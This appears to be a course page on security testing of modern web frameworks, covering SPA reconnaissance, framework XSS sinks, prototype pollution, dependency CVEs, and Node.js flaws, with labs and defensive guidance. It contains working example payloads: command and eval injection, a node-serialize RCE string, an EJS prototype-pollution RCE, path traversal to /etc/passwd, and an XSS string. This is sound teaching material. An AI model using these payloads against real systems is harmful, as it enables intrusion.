Skip to content
CSY203 Week 11 Intermediate

Week Content

Secure Software & Web Security

Track your progress through this week's content

Opening Framing: The Framework Era

Modern web development is dominated by frameworks—React, Angular, Vue on the frontend; Express, Django, Spring, Laravel on the backend. These frameworks include security features by default, but they also introduce new attack surfaces and failure modes.

Frameworks change the testing approach. Traditional XSS payloads may not work against React's virtual DOM. SQLi is rare in applications using ORMs properly. But new vulnerabilities emerge—prototype pollution, JWT misuse, insecure defaults, and framework-specific bypasses.

This week covers testing modern JavaScript frameworks, understanding framework-specific vulnerabilities, and adapting your methodology for contemporary applications.

Key insight: Frameworks reduce some vulnerabilities but create new ones. Know what each framework protects—and doesn't.

1) Single Page Application (SPA) Security

Understanding modern frontend architecture:

SPA Architecture:

Traditional Web App:
Browser ←→ Server ←→ Database
Server generates HTML

Single Page Application:
Browser (JS App) ←→ API ←→ Database
Client renders everything
Server provides data via API

Security Implications:
- Business logic moves to client
- Client-side routing
- State management client-side
- API is the true attack surface

SPA Reconnaissance:

# Finding JavaScript files:

# Check page source:
<script src="/static/js/main.abc123.js"></script>

# Common bundle locations:
/static/js/
/assets/js/
/dist/
/bundle.js
/main.js
/app.js
/vendor.js
/runtime.js
/chunk-*.js

# Source maps (jackpot!):
/static/js/main.abc123.js.map
# Reveals original source code!

# Tools:
# Browser DevTools → Sources tab
# Shows all loaded scripts

JavaScript Analysis:

# Extracting information from JS:

# API endpoints:
grep -oE '"/api/[^"]+' main.js
grep -oE 'https?://[^"]+' main.js

# Hardcoded secrets:
grep -i 'api_key\|apikey\|secret\|password\|token' main.js

# Hidden functionality:
# Look for admin routes, debug endpoints

# Tools:
# - LinkFinder: Extracts URLs from JS
# - SecretFinder: Finds secrets in JS
# - JSParser: Parses JS for endpoints

# LinkFinder:
python linkfinder.py -i https://target.com/main.js -o cli

# Beautify minified JS:
# Browser DevTools → Pretty print
# Online: beautifier.io

Client-Side Routing:

# SPAs use client-side routing:
https://app.com/dashboard    → Same HTML
https://app.com/admin        → Same HTML
https://app.com/settings     → Same HTML

# All routes load same index.html
# JavaScript handles routing

# Security testing:
1. Access "protected" routes directly
   # /admin may load without auth check

2. Check if routes exist in JS
   # grep for route definitions

3. API calls may still require auth
   # But UI may be visible

# React Router patterns:
<Route path="/admin" component={AdminPanel} />
# Search JS for Route patterns

# Angular patterns:
{ path: 'admin', component: AdminComponent }
# Search for path: definitions

Key insight: SPAs shift security concerns to APIs. But client-side code often reveals API endpoints and logic.

2) React, Angular, and Vue Security

Framework-specific security considerations:

React Security:

Built-in XSS Protection:
- JSX auto-escapes by default
- {userInput} is safe

Dangerous patterns:
- dangerouslySetInnerHTML={{__html: userInput}}
- href={userInput} (javascript: URLs)
- eval() usage
- Server-Side Rendering (SSR) XSS

# Testing React XSS:
# Look for dangerouslySetInnerHTML in source
# Test javascript: URLs in links
# Check SSR endpoints for reflection

Angular Security:

Angular Security:

Built-in Protection:
- Automatic sanitization
- Template expression sandboxing (newer versions)

Dangerous patterns:
- [innerHTML]="userInput" (sanitized but check)
- bypassSecurityTrust*() methods
- Template injection (older Angular)

# Bypass methods to look for:
bypassSecurityTrustHtml()
bypassSecurityTrustScript()
bypassSecurityTrustUrl()
bypassSecurityTrustResourceUrl()
bypassSecurityTrustStyle()

# If user input reaches these = XSS

# Testing:
grep -r "bypassSecurityTrust" *.js
grep -r "\[innerHTML\]" *.html

Vue.js Security:

Vue Security:

Built-in Protection:
- Template expressions auto-escaped
- {{ userInput }} is safe

Dangerous patterns:
- v-html="userInput"
- :href="userInput" (javascript: URLs)
- Server-side rendering XSS
- Template compilation from user input

# Testing Vue XSS:
# Search for v-html directives
grep -r "v-html" *.vue *.js

# Check for dynamic templates:
new Vue({
  template: userInput  // Dangerous!
})

Common Frontend Vulnerabilities:

# PostMessage vulnerabilities:

# Insecure origin check:
window.addEventListener('message', function(e) {
  // No origin validation!
  eval(e.data);
});

# Attack:
# Open target in iframe
# Send malicious postMessage

# Testing:
# Search for addEventListener('message'
# Check if origin is validated
# Check what happens with message data


# localStorage/sessionStorage:

# Sensitive data in storage:
localStorage.setItem('token', jwt);
localStorage.setItem('user', JSON.stringify(userData));

# XSS can read all storage!
# Check what's stored
# DevTools → Application → Storage


# Open Redirect in SPAs:

# Redirect parameter in URL:
https://app.com/login?redirect=/dashboard
https://app.com/login?redirect=https://evil.com

# Test for open redirects
# Check client-side redirect logic

Key insight: Frameworks protect against basic XSS but provide escape hatches. Find where developers use them.

3) Prototype Pollution

JavaScript-specific vulnerability class:

Prototype Pollution Concept:

JavaScript objects inherit from prototypes:
let obj = {};
obj.toString();  // Inherited from Object.prototype

If attacker can modify Object.prototype:
Object.prototype.isAdmin = true;

Every object now has isAdmin = true!

let user = {};
if (user.isAdmin) {
  // Grants admin access!
}

How Pollution Occurs:

# Vulnerable merge/extend functions:

function merge(target, source) {
  for (let key in source) {
    target[key] = source[key];
  }
  return target;
}

# Attack payload:
{
  "__proto__": {
    "isAdmin": true
  }
}

# After merge:
merge({}, {"__proto__": {"isAdmin": true}});
# Object.prototype.isAdmin is now true!

# Alternative payloads:
{"constructor": {"prototype": {"isAdmin": true}}}

# Vulnerable functions:
- Object.assign (in some cases)
- jQuery.extend (deep mode)
- lodash.merge (older versions)
- Custom recursive merge

Prototype Pollution Impact:

# Depending on application, pollution enables:

1. Property injection (access control bypass):
   if (user.isAdmin) // Polluted = true

2. XSS via polluted properties:
   # If code uses obj.innerHTML or similar
   Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'

3. RCE in Node.js:
   # Pollute properties used by child_process
   {"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(1)"}}

4. Denial of Service:
   Object.prototype.length = 0;
   # Breaks array operations

Testing for Prototype Pollution:

# Server-side testing (Node.js):

# In JSON body:
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

# Check response or behavior change
# Look for errors

# Client-side testing:

# URL parameters:
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes

# Check in console:
({}).polluted  // Returns "yes" if vulnerable

# Tools:
# - ppmap (prototype pollution scanner)
# - Burp extension: Server-Side Prototype Pollution Scanner

# Common sources:
- JSON.parse() of user input
- URL parameter parsing (qs library)
- Merge/extend operations

Key insight: Prototype pollution is subtle but powerful. One polluted property can affect the entire application.

4) Dependency Vulnerabilities

Attacking through third-party code:

The Dependency Problem:

Modern apps have hundreds of dependencies:
- npm packages (JavaScript)
- PyPI packages (Python)
- Maven/Gradle (Java)
- Gems (Ruby)
- Composer (PHP)

Each dependency:
- May have vulnerabilities
- May have its own dependencies
- May be unmaintained
- May be malicious

Finding Vulnerable Dependencies:

# Identify dependencies:

# JavaScript (package.json):
{
  "dependencies": {
    "lodash": "^4.17.0",
    "express": "^4.17.1"
  }
}

# Check for vulnerable versions:
npm audit
yarn audit

# Online databases:
# - Snyk (snyk.io)
# - npm audit
# - OWASP Dependency Check
# - retire.js (client-side)

# retire.js (scan for vulnerable JS):
retire --js /path/to/js/files

# Snyk CLI:
snyk test

Client-Side Library Detection:

# Identify frontend libraries:

# Browser console:
jQuery.fn.jquery       // jQuery version
angular.version        // Angular version
React.version          // React version
Vue.version            // Vue version

# Wappalyzer extension:
# Shows all detected technologies

# retire.js browser extension:
# Flags vulnerable libraries

# Common vulnerable libraries:
- jQuery < 3.5.0 (XSS)
- Angular < 1.6.0 (sandbox escape)
- lodash < 4.17.19 (prototype pollution)
- bootstrap < 4.3.1 (XSS)

Exploiting Known CVEs:

# Once you identify versions:

1. Search for CVEs:
   # NVD: nvd.nist.gov
   # Snyk Vulnerability DB
   # GitHub Security Advisories

2. Find exploit details:
   # CVE description
   # Proof of concept
   # Affected versions

3. Test exploitation:
   # Adapt PoC to target
   # Verify vulnerability

# Example: jQuery < 3.5.0 XSS
# CVE-2020-11022, CVE-2020-11023
# XSS via HTML parsing

# Example: Lodash prototype pollution
# CVE-2019-10744
# Prototype pollution via defaultsDeep

Supply Chain Attacks:

# Malicious packages:

# Typosquatting:
lodash → lodahs (malicious)
express → expresss (malicious)

# Dependency confusion:
# Internal package name used
# Attacker publishes public package with same name
# Build system pulls malicious public package

# Compromised packages:
# Legitimate package maintainer compromised
# Malicious code injected into update

# Testing considerations:
# - Review package.json for suspicious packages
# - Check package download counts
# - Verify package publisher
# - Use lockfiles (package-lock.json)

Key insight: Applications are only as secure as their weakest dependency. Known CVEs provide easy exploitation.

5) Server-Side JavaScript (Node.js)

Node.js specific vulnerabilities:

Node.js Attack Surface:

- Server-side JavaScript execution
- npm ecosystem vulnerabilities
- Prototype pollution (server-side)
- Insecure deserialization
- SSRF through request libraries
- Path traversal
- Command injection via child_process

Node.js Injection:

# Command injection:

# Vulnerable:
const { exec } = require('child_process');
exec('ping ' + userInput);

# Attack:
userInput = '127.0.0.1; whoami'

# eval injection:

# Vulnerable:
eval('var result = ' + userInput);

# Attack:
userInput = '1; require("child_process").execSync("whoami")'

# Template injection (EJS, Pug, etc.):
# Similar to SSTI covered in Week 8

Node.js Deserialization:

# node-serialize vulnerability:

# Vulnerable code:
var serialize = require('node-serialize');
var payload = req.body.data;
serialize.unserialize(payload);

# Attack payload (RCE):
{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('whoami')}()"
}

# The function is executed during deserialization!

# Testing:
# Look for unserialize calls
# Send payload with $$ND_FUNC$$ pattern

Path Traversal in Node.js:

# Express static files:

# Vulnerable:
app.use(express.static('public'));
app.get('/files/:name', (req, res) => {
  res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});

# Attack:
GET /files/../../../etc/passwd

# Node.js specific:
# path.join doesn't prevent traversal
# Must validate input

# Testing:
../
..%2f
..%252f
%2e%2e%2f

Server-Side Prototype Pollution:

# More impactful on server-side:

# Can lead to RCE via:
1. Polluting child_process options
2. Polluting require() behavior
3. Polluting EJS/Pug template options

# EJS RCE via prototype pollution:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('whoami');x"}}

# When EJS renders, executes command!

# Testing:
# Find merge/extend operations
# Send __proto__ payload
# Check for behavior changes

Key insight: Node.js brings JavaScript vulnerabilities server-side. Prototype pollution becomes especially dangerous.

Real-World Context: Modern Framework Security

Framework vulnerabilities in practice:

Framework Adoption: React, Angular, and Vue dominate modern web development. Understanding their security models is essential for testing contemporary applications.

Dependency Nightmares: Major incidents like event-stream (malicious code in popular package) and Log4Shell (vulnerability in ubiquitous library) demonstrate the supply chain risk. One vulnerable dependency affects millions of apps.

Prototype Pollution Rise: Once obscure, prototype pollution has become a recognized vulnerability class with real-world exploits. Major frameworks have had prototype pollution CVEs.

MITRE ATT&CK Mapping:

  • T1059.007 - JavaScript: Client/server JS attacks
  • T1195.002 - Supply Chain Compromise: Dependency attacks
  • T1190 - Exploit Public-Facing Application: Framework CVEs

Key insight: Modern frameworks reduce basic vulnerabilities but create new complexity. Stay current on framework-specific issues.

Guided Lab: Modern Framework Testing

Practice testing modern web applications.

Step 1: SPA Reconnaissance

# Find and analyze JavaScript:
1. View page source
2. Find all JS files
3. Check for source maps (.map files)

# Extract information:
# Use LinkFinder for endpoints
python linkfinder.py -i https://target.com/main.js -o cli

# Search for secrets:
grep -i 'api\|key\|secret\|token' main.js

Step 2: Framework Identification

# Identify framework:
# Browser console:
React.version
angular.version
Vue.version

# Wappalyzer extension

# Note framework version for CVE research

Step 3: Client-Side Vulnerability Testing

# Look for dangerous patterns:
grep -r "dangerouslySetInnerHTML" *.js
grep -r "v-html" *.js *.vue
grep -r "bypassSecurityTrust" *.js

# Test XSS in framework context
# Test postMessage handlers
# Check localStorage for sensitive data

Step 4: Prototype Pollution

# Test JSON endpoints:
{"__proto__": {"polluted": true}}

# Test URL parameters:
?__proto__[polluted]=true

# Verify in console:
({}).polluted

Step 5: Dependency Check

# Identify library versions
# Check against vulnerability databases
# Use retire.js for client-side
# Research CVEs for identified versions

Reflection (mandatory)

  1. How did SPA architecture affect your testing approach?
  2. What sensitive information did you find in JavaScript files?
  3. Were any vulnerable dependencies present?
  4. How do framework protections change XSS testing?

Week 11 Quiz

Test your understanding of Modern Web Framework Security (React, Angular, Node.js).

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Week 11 Outcome Check

By the end of this week, you should be able to:

Next week: Capstone—complete web application assessment from start to finish.

🎯 Hands-On Labs (Free & Essential)

Apply what you learned through practical modern framework security testing. Complete these labs before moving to reading resources.

🎮 TryHackMe: React Security

What you'll do: Learn React-specific security vulnerabilities. Practice exploiting dangerouslySetInnerHTML, XSS in React components, client-side routing bypass, and props injection attacks.

Why it matters: React is the most popular JavaScript framework. Understanding React security patterns (and anti-patterns) is essential for testing modern SPAs and identifying framework-specific vulnerabilities.
Time estimate: 1.5-2 hours

Start TryHackMe React Security →

🧃 OWASP Juice Shop: Modern Framework Challenges

What you'll do: Exploit Angular-specific vulnerabilities in Juice Shop. Practice template injection, client-side validation bypass, and Angular-specific XSS exploitation techniques.

Why it matters: Juice Shop is built with Angular—a perfect environment to practice framework-specific attacks. Learn how modern frameworks introduce new attack vectors beyond traditional web vulns.
Time estimate: 2-3 hours

Start Juice Shop Framework Challenges →

💡 Lab Strategy: Modern frameworks change the attack surface. Practice React security first, then apply concepts to Angular via Juice Shop. Understanding framework-specific vulnerabilities is essential for testing modern web applications: 350 total XP, 3-5 hours!

🛡️ Defensive Architecture & Secure Design Patterns

Modern frameworks are secure by default, but only if you use their safe APIs. Defensive design enforces safe rendering, constrains client storage, and scans dependencies continuously.

Framework-Safe Rendering

Rules of thumb:
- Avoid dangerous HTML sinks (dangerouslySetInnerHTML, v-html)
- Prefer safe templating and sanitized components
- Treat postMessage input as untrusted data

Dependency Hygiene

Supply chain controls:
- Pin versions with lockfiles
- Run SCA on every build
- Remove unused dependencies
- Monitor for new CVEs and rotate keys

Real-World Incidents: npm Supply-Chain Attacks

Incidents like event-stream and typosquatting campaigns showed how compromised or lookalike packages can exfiltrate data. Lessons learned: audit dependencies, restrict install sources, and automate SCA with blocking thresholds.

Defensive Labs

Lab: Secure React/Vue Rendering

Replace unsafe HTML rendering with sanitized components and demonstrate blocked XSS payloads.

Lab: Implement CSP with Nonces

Add CSP nonces to framework scripts and verify inline script execution is blocked.

Lab: Run SCA on a Frontend Project

Use npm audit or Snyk to identify vulnerable packages and remediate the top three findings.

📚 Building on CSY101 Week-13: Threat model client-side trust boundaries and framework escape hatches. CSY101 Week-14: Map controls to NIST 800-53 (SA/CM) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize dependency fixes.

Reading Resources (Free + Authoritative)

Complete the required resources to build your foundation.

Lab: Modern Application Assessment

Goal: Perform security assessment of a modern SPA application.

Part 1: Reconnaissance

  1. Identify framework and version
  2. Map all JavaScript files
  3. Extract API endpoints from JS
  4. Check for source maps
  5. Search for hardcoded secrets

Part 2: Client-Side Analysis

  1. Review JS for dangerous patterns
  2. Test client-side routing
  3. Check localStorage/sessionStorage
  4. Test postMessage handlers
  5. Look for DOM XSS sinks

Part 3: Prototype Pollution

  1. Test JSON endpoints for pollution
  2. Test URL parameters
  3. Identify impact if successful

Part 4: Dependency Analysis

  1. Enumerate client-side libraries
  2. Check versions against CVE databases
  3. Test exploitation of known vulnerabilities

Part 5: Framework-Specific Testing

  1. Apply framework-specific tests
  2. Look for security bypass patterns
  3. Test SSR endpoints if present

Deliverable (submit):

Checkpoint Questions

  1. How does SPA architecture change the attack surface?
  2. What pattern in React indicates potential XSS?
  3. What is prototype pollution and how does it work?
  4. Why are dependency vulnerabilities significant?
  5. How can source maps help in security testing?
  6. What makes Node.js deserialization dangerous?

Weekly Reflection

Reflection Prompt (200-300 words):

This week you learned to test modern web frameworks—the technologies that power most contemporary applications. You explored SPA architecture, framework-specific vulnerabilities, and dependency risks.

Reflect on these questions:

A strong reflection will connect modern framework testing to broader security trends and development practices.

Verified Resources & Videos

Modern framework testing requires understanding both the protections frameworks provide and the new vulnerabilities they introduce. As web development continues to evolve, staying current on framework security is essential. The JavaScript analysis and prototype pollution skills you've developed apply to the vast majority of contemporary applications. Next week: your capstone brings everything together in a complete web application assessment.

← Previous: Week 10 Next: Week 12 →